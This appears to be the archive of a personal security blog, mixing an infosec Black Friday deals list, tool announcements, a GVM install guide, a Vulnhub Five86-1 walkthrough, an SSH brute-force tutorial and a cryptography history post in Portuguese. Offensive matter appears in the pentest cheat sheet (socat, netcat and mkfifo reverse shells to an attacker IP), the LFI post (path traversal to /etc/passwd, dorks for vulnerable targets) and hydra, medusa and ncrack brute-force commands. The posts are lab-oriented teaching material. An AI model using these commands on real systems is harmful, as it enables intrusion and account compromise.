bt0’s Security Blog

Black Friday Infosec Deals

2021-11-23T00:00:00-03:00

Some deals compiled from: https://github.com/0x90n/InfoSec-Black-Friday/blob/master/README.md
Use the above link for updates

Black Friday Deals - 2021

Deals Repository

InfoSec Black Friday Deals 2021

All the deals for InfoSec related software/tools this Black Friday / Cyber Monday, for all the hackers that saved $$$ during lockdowns.

Heard of an early deal? Let’s get this rolling 🎉 The below deals have either publicly announced they’ll be doing a deal or highly expected. - All USD - All End times in UTC - DYOR and AYOR: I have not vetted links for legitimacy - Some deals use my handle for tracking - these are not referral/affiliate/commission

FAQ

When do these sales end?

Most end 30th November

When will most of the deals/discounts be here?

Most likely 27th midday for USA, 28th November for the rest of the world, check back often!

Can I add deals to the page?

Yes, please follow formatting guidelines, provide a source and code. Has to be infosec related.

refers to https://github.com/0x90n/InfoSec-Black-Friday/blob/master/README.md Please help updating this repo

Newsletters

Return on Security

https://www.returnonsecurity.com/black-friday-25
25% off the Pro Membership for 3 months with code: black-friday-25

Tools

Securestack DevSecOps platform

https://securestack.com/black-friday-sale/
30% off and 4 months subscription with code: BLACKFRIDAY21
Ends: 2nd December

DevUtils

Offline Toolbox with Develper/Security applications
https://devutils.app/ 30% off with code: BLACKFRIDAY_2021S

GrayHatWarfare (the shodan for S3 buckets/shorteners)

https://grayhatwarfare.com/packages was €300 now €160 for 1Y premium
was €960 now €450 for 1Y enterprise

Proxyman

Web Debugging Proxy macOS app for sec/devs to capture, inspect, and manipulate HTTP(s) requests/responses
https://proxyman.io 30% off with code: PROXYMAN_BLACK_FRIDAY_2021

Pulsedive Threat Intelligence

https://pulsedive.com/about/pro https://pulsedive.com/about/api Incoming deal on Pulsedive Pro or API plans released on 24th November

Sn1per Elite Bundle

https://sn1persecurity.com/wordpress/black-friday-sale/ 15% discount ($132 savings)
Ends: 28th November

Workflow86 (Document/automate security operation playbooks and business processes)

https://news.ycombinator.com/item?id=29152173 https://www.workflow86.com 30% off any plan for 3 months with code: BLACKFRIDAY2021
Ends: 30 November

Tenable

https://www.tenable.com/buy 50% off Nessus PRO with code: takehalf

Burp Bounty Pro Extension

https://burpbounty.net/ https://order.shareit.com/cart/add?vendorid=200287980&PRODUCT%5B300991779%5D=1 20% off with code: CYBERBOUNTY

Courses & Training

7ASecurity Black friday sale on any course

https://store.7asecurity.com/ 40% off with code: BFCM40
Ends: December 1st

Burp Suite Certified Practitioner

https://portswigger.net/blog/burp-suite-certification-prices-hacked-for-black-friday
November 16 - November 30 2021: The certification exam is on sale for $9.
Purchase date - December 15 2021: If you pass your exam before 15 Dec 21, you qualify for a refund

DroneSec (Drone Cybersec, Threat Intel & Counter-Drone Security Training)

https://training.dronesec.com/p/Black-Friday-2021 67% off with code: BFMETAVERSE
Ends: 30th November

LetsDefend - Blue Team Training

https://letsdefend.io/
50% off code: BLCKFRDY
Ends: 30th November

The Cyber Plumber’s Lab Guide and Access

https://opsdisk.gumroad.com/l/cphlab/blackfriday2021
(1) 50% off + free handbook (2) 75% off for students

Eric Daiz (Udemy Hacking Courses)

https://www.udemy.com/user/eric-daiz/
50% off with code: 50OFFNOVEMBER

Udemy

https://www.udemy.com/
Most courses $10.99
Ends: 26th November

PluralSight

https://www.pluralsight.com/offer/2021/bf-cm-40-off
40% discount
Ends: 29th November

https://www.peopleformula.com/online-training-overview
25% off all courses with code: infosec25

INE (ELearnSecurity Courses)

https://info.ine.com/black-friday-2021/
Premium Access Pass for $499 + free eLearnSecurity certification voucher
Premium for $599 + Pentester Academy access + free eLearnSecurity certification voucher

OSINTion (OSINT Training)

https://www.theosintion.com/courses/store/
25% off courses with code: BLACKFRIDAY2021
15% off bundles with code: BUNDLES2021BLACKFRIDAY

Security Blue Team

https://securityblue.team/#black-friday
25% off BTL1 certification & training (£399 –> £299)
20% off BTL2 certification & training (£1999 –> £1599)
33% off Blue Team Labs Pro subscription (£15/month –> £10/month) Ends: 3rd December

Pensterlab Black friday sale

https://pentesterlab.com/pro
27% off one year subscription
(1) $146 instead of $199
(2) 29.99 instead of 34.99 for students

The Cyber Mentor (TCM) Security Courses

https://academy.tcm-sec.com/
(1) 50% off all courses (2) 20% off PNPT Certification

Practical DevSecOps

https://www.practical-devsecops.com/black-friday/
15% off all courses Ends: 26th November

ISACA InfoSec/GRC Training

https://www.isaca.org/go/flash
15% off CISA/CISM/CRISC/CGEIT/CDPSE training & cert with code: FLASHSALE15
Ends: 15th December

International Cybersecurity Institute ICSI

https://www.icsi.co.uk/ 50% off courses releasing 22nd November
Ends: 29th November

CompTIA Courses

https://www.comptia.org/content/lp/black-friday-preview Unknown discount releasing shortly

Riot (Phishing simulation training + cybersecurity awareness on Slack)

https://www.tryriot.com 20% off everything with the BLACKFRIDAY code
Ends: December 1st

Mini Course Bundles:

A to Z Cyber Security Training Bundle (12 courses)

https://store.boingboing.net/sales/the-a-to-z-cyber-security-it-certification-training-bundle $19.97 applied to cart

Ultimate Cybersecurity Analyst Prep Bundle (8 courses)

https://deals.bleepingcomputer.com/sales/the-2022-ultimate-cybersecurity-analyst-certification-preparation-bundle $29.99 applied to cart

Hardware:

Hak5 hacking hardware for pentesters

https://shop.hak5.org/ Huge discounts + free gear

pcWRT Secure WiFi Router

Router with all privacy tools builtin: VLAN, VPN, Ad Block, DoH, Access Control, Monitoring
https://www.pcwrt.com/
25% off with code: GITHUBBF21

ifixit (Hardware and electronics equipment)

https://www.ifixit.com/black-friday-holiday
Multiple discounts applied to cart

Yubico/Yubikey

https://www.yubico.com/au/store/black-friday/
Various deals released 22nd November

Clothing:

Miscreants Cyber & Security clothing

https://shopmiscreants.com/
25% off with code: 0x90n

Books:

Apress Books

https://www.apress.com/us/shop/cybermonday-sale
All print books $9.99 and eBooks $6.99 discount applied to cart

Humble Bundle (Check back often for InfoSec books - currently only games)

https://www.humblebundle.com/store/promo/black-friday-sale-2021/
Up to 80% off applied to cart

NoStarch Press

https://nostarch.com/blog/2021-holiday-gift-guide
Various deals on books applied to cart

Services:

NordVPN

https://nordvpn.com/offer/
72% discount applied to cart

Surfshark VPN

https://surfshark.com/deals
83% off + 3 months free applied to cart

PureVPN

https://www.purevpn.com/best-discount-offer?aff=41859
use coupon code: SAVEMORE, 5-year plan 67.96 USD

Lowendbox - IT/Cloud/Networking sytems

https://lowendbox.com/blog/what-is-black-friday/
Variety of deals releasing 24th November

SimpleLogin

https://simplelogin.io/pricing/ $20 first year applied to cart Ends: 30th November

ESET Anti-Virus

https://www.eset.com/us/cyber-weekend-2021/
35% off products applied to cart

Murus and Vallum (macOS Firewall)

https://murusfirewall.com/
50% off applied to cart

MalwareBytes

https://try.malwarebytes.com/ 60% off Malwarebytes Premium, 50% OFF Malwarebytes Premium + Privacy
https://try.malwarebytes.com/back-to-business/
25% off Endpoint, Detection and Response products

Credits

If you’d like to DM me a deal rather than submitting a PR: @securitymeta_

Thanks to 0ldMate referring me to @Infosec_Taylor who has a fantastic twitter thread as well, adding in some of those deals here! Also thanks to webyeti, grabbed some deals from: https://www.webyeti.ninja/blog/hackerblkfri - more non-infosec deals in there too. Shoutout to some discounts grabbed from Dutchosintguy, @gabsmashh Thanks to those that have sent pull requests, and @reV_sh_ on twitter, among others.

Thanks to those who credited and helped spread the word! https://github.com/instadoodledavid/Infosec-Deals-2020 https://github.com/Securityinfos/Black-Friday-Deals https://github.com/Dutchosintguy/Blackfriday-Deals-2020

Discoverability

infosec black friday, information security black friday, cybersec black friday, cyber security black friday, netsec black friday, hacking black friday infosec cyber monday, information security cyber monday, cybersec cyber monday, cyber security cyber monday, netsec cyber monday, hacking cyber monday infosec deals, coupons, discounts, sales, pentest, penetration test, red team, blue team, purple team, thanksgiving

BugBuntu Linux

2021-11-08T00:00:00-03:00

Hello, this is our first alphabeta test version of BugBuntu

This little project is based on Tips from King of Bug Bounty repository

BugBuntu is a customized distro based on Ubuntu 18.04 and focused on Bug Bounty tools.

BugBuntu Linux v0.1.2

Some installed tools:

Amass
Anew
Anti-burl
Assetfinder
CF-check
Chaos
Dalfox
DNSgen
Filter-resolved
Findomain
Fuff
Gargs
Gau
Gf
Github-Search
Gospider
Gowitness
Hakrawler
HakrevDNS
Haktldextract
Html-tool
Httpx
Jaeles
Jsubfinder
Kxss
LinkFinder
Metabigor
MassDNS
Naabu
Qsreplace
Rush
SecretFinder
ShuffleDNS
SQLMap
Subfinder
SubJS
Unew
Unfurl
WaybackURLs
Notify
Goop
Tojson
getJS
x8

Other Tools Installed:

nuclei
InurlBR Scanner (New version by @MrCl0wnLab)
jexboss

Screenshots:

You can download the OVA (For Virtualbox) using the link below:

Via Sourceforge:

Default login and pwd are bugbuntu:bugbuntu

Collaborators

SSS3 - Simple Storage Scanner (Tool)

2021-11-08T00:00:00-03:00

SSS3 is a simple S3 Bucket testing software. It uses aws cli to search for public buckets in a list of domains/subdomains.

SSS3

Simple Storage Scanner

Basic Requirements

It requires aws cli installed and configured with a s3 policy defined
You should have a list of previous enumerated domains/subdomains

Features

Iterates a list of domains/subdomains
Tests if a domain/subdomain respond to a bucket and if its permissions for listing are enabled
Export the result of listing of buckets found

Installation

Clone the repository, give +x to script and be happy SSS3 requires AWS CLI to run.

$ git clone https://github.com/halencarjunior/sss3.git
$ chmod +x sss3.sh
$ ./ss3.sh domain.txt -o output.txt

Usage example

You could start enumerating a domain using Amass

$ amass enum -d example.com -o domains-example-com.txt
$ ./sss3.sh domains-example-com.txt -o output-example-com.txt

Development

Want to contribute? Great! Please send your PR for us and we’ll be greateful for your help.

References

I am grateful for some articles that motivated me to creat that tool

Sidechannel Article by Rodrigo Montoro

Rhynosec Article for Pentesting S3

Thanks for using and help to share please

Free Software, Hell Yeah!

LFI Parameters List

2021-02-16T00:00:00-03:00

LFI (Local File Inclusion)

Local file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others. [1]

Example of test:

Consider the URL

 http://vulnerable_host/preview.php?file=example.html

The parameter file= could be exploited to point it to another file within the server

 http://vulnerable_host/preview.php?file=../../../../etc/passwd

The expected result is shown below:

 root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:/sbin/nologin
 daemon:x:2:2:daemon:/sbin:/sbin/nologin
 alex:x:500:500:alex:/home/alex:/bin/bash
 margo:x:501:501::/home/margo:/bin/bash
 ...

There is a list of most common parameters to test for LFI

 ?cat=
 ?dir=
 ?action=
 ?board=
 ?date=
 ?detail=
 ?file=
 ?download=
 ?path=
 ?folder=
 ?prefix=
 ?include=
 ?page=
 ?inc=
 ?locate=
 ?show=
 ?doc=
 ?site=
 ?type=
 ?view=
 ?content=
 ?document=
 ?layout=
 ?mod=
 ?conf=

You can use Google Hacking and dorks to find vulnerable targets like:

 inurl:"wp-license.php?file=../..//wp-config"

File contain password and directory traversal vulnerability [2]

Using the same strategy to exploit wordpress and retrieve the wp-config, you could use all those parameters above and create your own Google Hacking Dork to analyze your target.

 inurl:"?cat=" site:"example.com"

References:

[1] OWASP - LFI

[2] GHDB

Thanks for following!

Installing GVM on Kali Linux 2020

2021-01-22T00:00:00-03:00

Greenbone Vulnerability Manager (Old OpenVAS)

Here is a list of commands to install GVM on Kali Linux 2020. I have compiled the commands after tried to install using source code. So, Kali Linux has the bin package to install it using apt.

 sudo apt update && apt upgrade
 sudo apt-get install gvm
 sudo runuser -u _gvm -- gvm-manage-certs -a -f
 sudo runuser -u _gvm -- gvmd –create-user=<UserName> –password=<Password>

 sudo systemctl enable redis-server@openvas.service
 sudo systemctl start redis-server@openvas.service

 sudo runuser -u _gvm -- greenbone-nvt-sync
 sudo runuser -u _gvm -- greenbone-feed-sync --type SCAP
 sudo runuser -u _gvm -- greenbone-feed-sync --type CERT
 sudo runuser -u postgres -- /usr/share/gvm/create-postgresql-database

Verifying the setup

 sudo gvm-check-setup

Starting the setup

 sudo gvm-setup

 sudo gvm-feed-update
 sudo runuser -u _gvm -- greenbone-nvt-sync
 sudo runuser -u _gvm -- greenbone-scapdata-sync
 sudo runuser -u _gvm -- greenbone-nvt-sync
 sudo systemctl enable /lib/systemd/system/greenbone-security-assistant.service
 sudo gvm-start

Now you are able to access the admin page using: https://127.0.0.1:9332

To change the listening IP you have to change the file /lib/systemd/system/greenbone-security-assistant.service

List of resources:

Greenbone OpenVAS

Thanks for following!

OSINT - Some Repositories and Tools

2020-02-11T00:00:00-03:00

OSINT

Open-source intelligence (OSINT) is data collected from publicly available sources to be used in an intelligence context.In the intelligence community, the term “open” refers to overt, publicly available sources (as opposed to covert or clandestine sources). It is not related to open-source software or collective intelligence.

OSINT under one name or another has been around for hundreds of years. With the advent of instant communications and rapid information transfer, a great deal of actionable and predictive intelligence can now be obtained from public, unclassified sources.

Wikipedia Link

List of resources:

People Search

Username Search Tools

Thanks for following! To be updated

Writeup - Vulnhub machine - Five86-1

2020-01-29T00:00:00-03:00

Hi guys,

Today i am posting my first try to write a walkthrough of a OSCP like machine that i’ve download in vulnhub project. i’ve chosen that machine because it’s intended to be a beginner’s challenge and it helps a lot to understand how Capture the Flag competitions are made.

Vulnhub

Aim/Goal

To provide materials that allow anyone to gain practical ‘hands-on’ experience in digital security, computer software & network administration.

Vunlnhub Site

About our target machine

Description

Five86-1 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward. Technical Information

Five86-1 is a VirtualBox VM built on Debian 64 bit, but there shouldn’t be any issues running it on most PCs.

Five86-1 has been tested successfully on VMWare Player, but if there are any issues running this VM in VMware, have a read through of this.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go.

Important

While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.

In saying that, there shouldn’t be any problems, but I feel the need to throw this out there just in case.

Credits

A big thanks goes out to the members of @m0tl3ycr3w.

Contact

I’m also very interested in hearing how people go about solving these challenges, so if you’re up for writing a walkthrough, please do so and send me a link, or alternatively, follow me on Twitter, and DM me (you can unfollow after you’ve DM’d me if you’d prefer).

I can be contacted via Twitter - @Five86_x

Download Five86-1 VM

Tools and Blogs

I am using Kali Linux 2019.4 and the new Kali Undercover theme (just to be fashionable lol!)

Netdiscover
Nmap
Nikto
Crunch
Hashcat
Metasploit
GTFO Bins
Rebootuser Blog
Virtualbox (for labs)

Post Exploitation List https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List

Recon

After download and import the VM (i am using Virtualbox), everything configured to run inside the virtualbox private network.

The network configured in Host-only Adapter is 192.168.56.0/24 and the DHCP is enabled.

First step is to discover which IP address our target VM got after boot. We will do that using the netdiscover tool.

$ netdiscover -i eth1 -r 192.168.56.0/24

-i = interface (using eth1 because my kali linux has two interfaces and eth1 is the Host-only adapter)
-r = range

We can realize that target VM is 192.168.56.15 since the two other IPs are our hypervisor default addresses. Our Kali Linux machine got 192.168.56.9

The next step is to try to discover which services are running on our target. We can do this type of scan using nmap.

$ nmap -sC -sV -sT 192.168.56.15

At this point we have information about a SSH server in port 22, a webserver in port 80 with robots.txt and a disallowed entry to /ona directory (interesting!) and port 10000 running a Webmin version 1.9.20 service.

We can try to pull more details running nikto in port 80.

$ nikto -host 192.168.56.15

As we can see, nothing new about our target after nikto results.

Let’s try to search for some more information about our services versions that we got using google and exploit-db.

The first search points to a Webmin vulnerability in version 1.9.20 that brings to an unauthenticated RCE. The exploit is also a Metasploit module that does things easier to exploit. The only exception is:

This module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project’s site.

So, the exploit author says the module only works on versions downloaded from sourceforge. It should be a problem if our version were downloaded from apt source or another official not backdoored source. Actually, i’ve tested after finding this information and exploit didn’t work, confirming probably the version is not backdoored.

Let’s move on!

As we’ve saw before we have a robots.txt with some restrictions in its configuration. The robots config prevents /ona directory being discovered. Browsing to the /ona path we can see a web application running.

The Ona 18.1.1 is running and have known vulnerabilities and also working exploits.

Yes! Exploit-db shows a metasploit module for this vulnerabilty. Let’s try to search it in MSF.

At this part, i had a problem to solve that was Metasploit haven’t the Ona exploit module already installed and i had to install manually. That’s why i searched using searchsploit tool before. To install a non existent module in MSF you have to copy the .rb file to its directory (/usr/share/metasploit-framework/modules/exploits/) and update its database (updatedb). After updating you have to restart metasploit to have the exploit appearing in searches.

I’ve chosen the directory and file names like that (/usr/share/metasploit-framework/modules/exploits/linux/http/opennetadmin.rb). You can chose yours as you wish but it`s a good practice put it inside its location. You can see that detail just opening the .rb file and reading the description of module.

Exploitation

Now it’s time to exploit the first phase of writeup.

Session created. Now we have access to the VM Shell through MSF.

As usual, we start the phase of privilege escalation with enumeration. In the very beginning, i’ve tried a lot of enumeration like sudo permission, file permission, mails, hidden directories and other initial scans like linenum and post exploitation modules in metasploit. The only one thing i forgot to try was the first directory that popped when i’ve exploited the ona vulnerability. Because of that, i’ve lost some time trying other methods. It helps to be an advice: Always enumerate every single place that you have access. The answer is the next screenshot:

We can see the username and its hash in the .htpasswd file. The author also sent a tip to not use regular wordlists but create a new one using 10 chars and the letters aefhrt. For this part i’ve used the Crunch tool to create our dictionary and after that we start the decryption tool hashcat to crack its password.

Having the douglas password now we can try to access his shell using ssh or even su in the www shell.

$ ssh douglas@192.168.56.15 (password fatherrrrr)
or
$ su douglas

Enumerating douglas account we can see an interesting result when i’ve tried sudo -l. It shows that user jen has access to run the command cp without any password. Thinking malicious, if you have access to copy any file using another account you should for example put some files inside their home directory. So, why not to try copying a generated by me ssh key to his .ssh directory and ssh there ? Let’s try.

Generating the ssh key to exploit Jen’s ssh access

Next steps are: chmod 777 the id_rsa.pub file and copy to .ssh directory inside Jen’s home directory as authorized_keys file. After that just try to ssh using jen’s “new” key.

Since we have access to Jen’s account it’s time, as usual, to enumerate the user.

Two interesting things about exim4 application and Jen has an unread mail in his box. About exim4, it’s good to mention that exim on this version has some known vulnerability and i’ve tried to exploit it but had no success (rabbit hole). Another known vulnerabilty is shown about its kernel (Linux five86-1 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux) and i also tried to exploit using known exploits but no success too.

So, having failures exploiting exim and kernel, let’s try to see the jen’s mailbox.

Gotcha! Jen’s mailbox message has the information of another user (moss). Let’s try to access moss account using its password (Fire!Fire!)

The final step is to enumerate moss account as usual. After looking for files with permission we’ve found a file that could be executed by moss. Looks like a game. Lets execute it.

Running the game i’ve answered the questions and it popped the root shell.

That’s all folks!

Thanks for reading

How to brute force SSH - Some Tools

2020-01-17T00:00:00-03:00

Hello guys, in this topic I’ll show you some tools and its commands to start a brute force in SSH servers.

Disclaimer: First of all, it’s good to say that you should not run this kind of tool on servers that you don’t have permission to scan. The risks of doing something like that is at your own.

Brute Force Attack

From Wikipedia:

In cryptography, a brute-force attack consists of an attacker submitting many passwords or passphrases with the hope of eventually guessing correctly. The attacker systematically checks all possible passwords and passphrases until the correct one is found. Alternatively, the attacker can attempt to guess the key which is typically created from the password using a key derivation function. This is known as an exhaustive key search.

Our target and “Stuffs”

I’ve created an Virtualbox VM using Ubuntu 18.04 and installed the OpenSSH. After that, an user admin was added with a known password. We will also use a known wordlist to conduct our brute force.

# useradd admin

# passwd admin (using the password "fuckyou")

Testing our target using user and password above:

Metasploit

Metasploit is a tool developed by Rapid7 (https://www.metasploit.com/) and used to execute scans, exploits and other pentest phases.

You can have more information about the Framework in the free Offensive Security course at: (https://www.offensive-security.com/metasploit-unleashed/)

Let’s run Metasploit to start the brute force in our virtual machine IP address (192.168.56.13).

$ msfdb run

Now let’s search for an auxiliary module that should be used to root password guess on this ip address.

As we can see in the image above, there is a module auxiliary/scanner/ssh/ssh_login that we could use to check for username and password. Let’s chose this one and show its options (command show options).

Now we have to change some options to configure the module.

We’ve used the rockyou wordlist to configure our brute force. Feel free to use your wordlist or create a new one. Since we know the username (admin), we just set the password option to use a wordlist. We’ve also changed the threads number to 10 so the process will be faster (locally of course). We’ve set STOP_ON_SUCCESS so it stops when the password is found. Now, time to RUN!

Gotcha! Session 1 was opened after msf discover the password.

THC Hydra

Number one of the biggest security holes are passwords, as every password security study shows. This tool is a proof of concept code, to give researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system. There are already several login hacker tools available, however, none does either support more than one protocol to attack or support parallelized connects. copied from his github

Accordingly author, the hydra could work well on Linux, Windows/Cygwin, Solaris, FreeBSD/OpenBSD, QNX (Blackberry 10) and MacOS. If you are using Kali Linux the tool is already installed.

Well, the hydra command for brute force testing on SSH service looks like this:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.13 ssh

-l : Name of user to be tested

-P : wordlist to be used for test

192.168.56.13 : server IP address

ssh : service to be tested

Let’s test using hydra command

Well, it works!

NMAP

Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).

We can use nmap scripts to do some more advanced scans in servers for vulnerabilities and even brute force. For this one we will use the ssh-brute nse script to achieve our objective.

For this test i’ve created two files (users.txt and pass.txt), filled with admin user and the other with a little part of rockyou.txt wordlist to be faster since we do not have the STOP on SUCCESS option and verbose are always visible, making some noise display of results.

nmap 192.168.56.13 -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=pass.txt

You can have more details at nmap’s script URL

Medusa

Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. The goal is to support as many services which allow remote authentication as possible.

You can have more information at Medusa Website

medusa -h 192.168.56.13 -u admin -P /usr/share/wordlists/rockyou.txt -e s -M ssh

-h Target hostname or IP
-u username
-P wordlist
-e password checks (*n* No Password, *s* Passowrd=Username)
-M name of the module to execute

Ncrack

Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords. Security professionals also rely on Ncrack when auditing their clients. Ncrack was designed using a modular approach, a command-line syntax similar to Nmap and a dynamic engine that can adapt its behavior based on network feedback. It allows for rapid, yet reliable large-scale auditing of multiple hosts.

Ncrack’s Website

ncrack --user admin -P /root/pass.txt ssh://192.168.56.13

--user -> username to test
-P -> wordlist

That’s all for now folks! Thanks for reading.

Pentest Cheat Sheet

2020-01-09T00:00:00-03:00

Uma reunião de alguns comandos que uso com frequência (para referência e CTRL+C / CTRL+V).

Port Scanning

- masscan -e tun1 -p1-65535,U:1-65535 10.10.10.1 --rate=500
    
- nmap -e tun1 -n -v -Pn -p22,80 -A --reason -oN nmap.txt 10.10.10.1
- nmap -sSV --version-all --min-parallelism 64 --script=vuln 10.10.10.1 -Pn -n
- nmap -sV -sC -sT 10.10.10.1
- nmap -sV --script *vuln* -p- 10.10.10.1

Some Fuzzing Things

Gobuster

- gobuster dir -w some-wordlist.txt -x php -e -u http://10.10.10.1/ --timeout 30s

wfuzz

- wfuzz -w some-wordlist.txt --hc '403,404' http://10.10.10.1/FUZZ
- wfuzz -c -z file,wordlist.txt -z file,wordlist2.txt --hc 404 http://10.10.10.1:8080/FUZZ/FUZ2Z

ffuf <==== Faster!!!!!

- ffuf -c -w some-wordlist.txt -u http://10.10.10.1/subdir/FUZZ

Reverse Shell

Socat

On Attacker: socat file:`tty`,raw,echo=0 tcp-listen:4445
On Target:   socat tcp-connect:10.10.15.1:4445 exec:sh,pty,stderr,setsid,sigint,sane

Netcat (w/ e)

On Attacker:    nc/netcat -l -n -v -p 4445
On Target:      nc/netcat -e /bin/bash <attacker_IP> <Attacker_Port>

Netcat (w/o e)

On Attacker:    nc/netcat -l -n -v -p 4445
On Target:      rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc/netcat 10.0.0.1 4445 > /tmp/f

Spanwning Shell

Python

- python -c 'import pty; pty.spawn("/bin/bash")'

Ruby

- ruby: exec "/bin/sh"

Perl

- perl —e 'exec "/bin/sh";'
- perl: exec "/bin/sh";

From vi or vim

- :!bash
- :!/bin/bash

Fatos Interessantes Sobre a Criptografia

2019-07-05T00:00:00-03:00

A Criptografia, assim como a Criptoanálise e as diversas vertentes dessa área fascinante da Segurança da Informação tem uma história bem interessante e é cheia de teorias deslumbrantes e até mesmo engraçadas no ponto de vista mais atual. Vale a pena o estudo e pesquisa para conhecermos um pouco mais sobre a arte de esconder mensagens.

O primeiro exemplo documentado de escrita cifrada foi considerada por um grupo de estudiosos aconteceu +/- em 1900 a.c. em uma vila egípcia perto do rio Nilo, chamada Menet Khufu, onde foi encontrado o túmulo de Khnumhotep II que continha alguns hieróglifos que foram substituídos por outros mais “importantes e bonitos”.
Os relatos do uso da esteganografia remonta os idos de 1500 a.c., quando eram feitas tatuagens na cabeça de escravos contendo a mensagem. Para ocultá-las, porém, era preciso esperar o cabelo crescer para esconder a mensagem. Para decifrar, só era necessário raspar o cabelo.
Um livro atribuído a Kautilya, chamado Artha-sastra, é escrito na índia +/- em 300 a.c. e cita diversas cifras criptográficas e recomenda uma variedade de métodos de criptoanálise para obter relatórios de espionagem. Todos os processos descritos são recomendados apenas para o uso de diplomatas.
O texto “Elementos”, de autoria do matemático grego Euclides de Alexandria, que viveu entre 220 e 270 a.c. é o livro mais publicado da história da humanidade, contrariando os números que dizem que o título seria da bíblia. O livro compila e sistematiza o que se conhecia na época sobre geometria e teoria dos números, e que é uma grande influência na moderna criptologia feita por computador.
Em Uruk, região do atual Iraque, aproximadamente em 130 a.c., escribas transformam seus nomes em números dentro do emblema que identifica seus trabalhos (Somente para divertir os leitores).
O Quadrado Latino é encontrada em escavações feitas em Pompéia, inscrita numa coluna. As palavras rotas arepo tenet opera sator parecem ter o efeito mágico de nunca desaparecerem e persistem até hoje como um enigma de transposição.
O Kama-Sutra, 400 d.c., classifica a criptografia como a 44ª e 45ª das 64 artes que as pessoas deveriam conhecer e praticar.
Os famosos Templários (1119-1311 d.c.), escreviam suas cartas de crédito com um método próprio de cifragem extraído da cruz chamada “das oito beatitudes” e que constituía o emblema da ordem.
Michele Steno, dodge de Veneza (1411 d.c.), dá um dos primeiros exemplos de cifras homofônicas: escolhia vários símbolos para cada letra, além de utilizar nulos e caracteres especiais para certas palavras de uso frequente.

Apenas alguns fatos históricos foram mencionados. Recomendo a leitura e pesquisa.

Para quem se interessa pelo assunto:

Site Numaboa

Livro: Códigos & Cifras da Antiguidade à era Moderna